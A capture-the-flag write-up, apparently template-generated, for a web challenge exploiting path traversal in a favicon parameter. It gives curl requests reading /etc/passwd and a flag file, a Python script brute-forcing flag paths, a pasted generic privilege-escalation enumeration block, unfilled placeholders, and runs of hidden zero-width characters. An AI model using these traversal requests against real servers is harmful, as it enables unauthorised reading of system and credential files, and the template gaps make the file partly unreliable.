FAVn

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2019-11-10 | Status: Solved Techniques: lfi_via_parameter, path_traversal

Summary

A task from the LFI (Local File Inclusion) category. The web application loads favicon via a parameter that is vulnerable to path traversal.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20191110_web_kids20_websrv1_favicon
• Tags: lfi, path_traversal, favicon, file_read
• Indicators: favicon loaded via URL parameter, file path in GET parameter, dynamic favicon loading
• Source: 20191110_web_kids20_websrv1_favicon.md

Foothold

Vulnerability / Misconfiguration

1. Lfi_via_parameter
2. Path_traversal

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• lfi_via_parameter
• path_traversal
• Tags: lfi, path_traversal, favicon, file_read

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A task from the LFI (Local File Inclusion) category. The web application loads favicon via a parameter that is vulnerable to path traversal.

URL: https://2019-11-10-favn.ctf.su/ Points: 1

Analysis

During application analysis, it was discovered that the favicon is loaded dynamically via a GET parameter. This is a classic LFI vulnerability pattern — when the file path is passed through user input without proper validation.

Vulnerability Signs

1. URL contains a parameter with a file path (e.g., ?icon=favicon.ico)
2. Application reads and returns file contents at the specified path
3. No filtering of ../ characters (path traversal) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Parameter Discovery

Examine application requests and find the parameter through which the favicon is loaded.

Step 2: Path Traversal

Manipulate the parameter by adding ../ to escape the current directory and read arbitrary files:

# Exploitation example
curl "https://2019-11-10-favn.ctf.su/?icon=../../../etc/passwd"

# Reading the flag
curl "https://2019-11-10-favn.ctf.su/?icon=../../../flag.txt"

Step 3: Obtaining the Flag

By iterating through paths, find the flag file and read its contents. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

#!/usr/bin/env python3
"""
FAVn - LFI via favicon parameter
Web Kids 2.0
"""

import requests

URL = "https://2019-11-10-favn.ctf.su/"

# Typical flag paths
paths = [
    "../flag.txt",
    "../../flag.txt",
    "../../../flag.txt",
    "../../../flag",
    "../../../home/flag.txt",
    "../../../var/www/flag.txt",
]

for path in paths:
    r = requests.get(URL, params={"icon": path})
    if "spbctf{" in r.text or "flag{" in r.text:
        print(f"[+] Found flag at: {path}")
        print(r.text)
        break

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense

• Use a whitelist of allowed files
• Validate and normalize paths (realpath)
• Do not pass file paths through user input
• Use chroot or containerization ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR